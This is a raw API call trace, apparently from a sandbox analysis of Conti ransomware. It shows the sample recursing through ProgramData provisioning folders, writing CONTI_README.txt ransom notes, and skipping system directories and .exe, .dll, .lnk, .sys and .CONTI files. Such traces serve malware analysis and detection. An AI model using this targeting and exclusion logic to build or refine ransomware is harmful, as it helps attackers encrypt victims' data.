	[0106.634] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6586cd0
	[0106.634] lstrcpyW (in: lpString1=0x6586cd0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov"
	[0106.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*"
	[0106.634] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned 81
	[0106.634] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.634] GetProcessHeap () returned 0x1720000
	[0106.634] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181c948
	[0106.634] lstrcpyW (in: lpString1=0x181c948, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov"
	[0106.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\"
	[0106.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\CONTI_README.txt"
	[0106.634] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0106.799] GetProcessHeap () returned 0x1720000
	[0106.799] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c948 | out: hHeap=0x1720000) returned 1
	[0106.799] WriteFile (in: hFile=0x2e8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.800] CloseHandle (hObject=0x2e8) returned 1
	[0106.800] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538016df, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85b0
	[0106.800] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.800] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538016df, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.800] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.800] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.800] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538016df, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x538016df, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x538016df, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.800] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.800] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.800] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.800] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.800] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.800] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.801] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.801] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned 81
	[0106.801] lstrlenW (lpString="RunTime") returned 7
	[0106.801] GetProcessHeap () returned 0x1720000
	[0106.801] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.801] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov"
	[0106.801] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\"
	[0106.801] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime"
	[0106.801] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned 89
	[0106.801] GetProcessHeap () returned 0x1720000
	[0106.801] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.801] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime"
	[0106.801] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*"
	[0106.801] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned 89
	[0106.801] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.801] GetProcessHeap () returned 0x1720000
	[0106.801] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3868
	[0106.801] lstrcpyW (in: lpString1=0x17c3868, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime"
	[0106.801] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\"
	[0106.801] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.801] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0106.801] GetProcessHeap () returned 0x1720000
	[0106.802] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3868 | out: hHeap=0x1720000) returned 1
	[0106.802] WriteFile (in: hFile=0x2ec, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.802] CloseHandle (hObject=0x2ec) returned 1
	[0106.803] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538016df, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0106.803] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.803] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538016df, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.803] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.803] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.803] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1
	[0106.803] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2=".") returned 1
	[0106.803] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2="..") returned 1
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".exe") returned 0x0
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".dll") returned 0x0
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".lnk") returned 0x0
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".sys") returned 0x0
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.803] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.803] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned 89
	[0106.803] lstrlenW (lpString="0__Power_EnergyEstimationEngine.provxml") returned 39
	[0106.803] GetProcessHeap () returned 0x1720000
	[0106.803] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x181e488
	[0106.803] lstrcpyW (in: lpString1=0x181e488, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime"
	[0106.803] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\"
	[0106.803] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\", lpString2="0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.803] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538016df, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x538016df, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x538016df, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.803] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.803] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.803] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.803] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.803] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538016df, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x538016df, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x538016df, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.804] GetProcessHeap () returned 0x1720000
	[0106.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.804] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0106.804] GetProcessHeap () returned 0x1720000
	[0106.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.804] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.804] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.804] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.804] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.804] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned 81
	[0106.804] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.804] GetProcessHeap () returned 0x1720000
	[0106.804] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510f50
	[0106.804] lstrcpyW (in: lpString1=0x6510f50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov"
	[0106.804] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\"
	[0106.804] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml"
	[0106.804] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.804] GetProcessHeap () returned 0x1720000
	[0106.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6586cd0 | out: hHeap=0x1720000) returned 1
	[0106.804] FindClose (in: hFindFile=0x17c85b0 | out: hFindFile=0x17c85b0) returned 1
	[0106.804] GetProcessHeap () returned 0x1720000
	[0106.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.805] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.805] GetProcessHeap () returned 0x1720000
	[0106.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
	[0106.805] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0106.805] GetProcessHeap () returned 0x1720000
	[0106.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e6c0 | out: hHeap=0x1720000) returned 1
	[0106.805] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2=".") returned 1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="..") returned 1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="tmp") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="winnt") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="Application Data") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="AppData") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="temp") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="thumb") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="$Recycle.Bin") returned 1
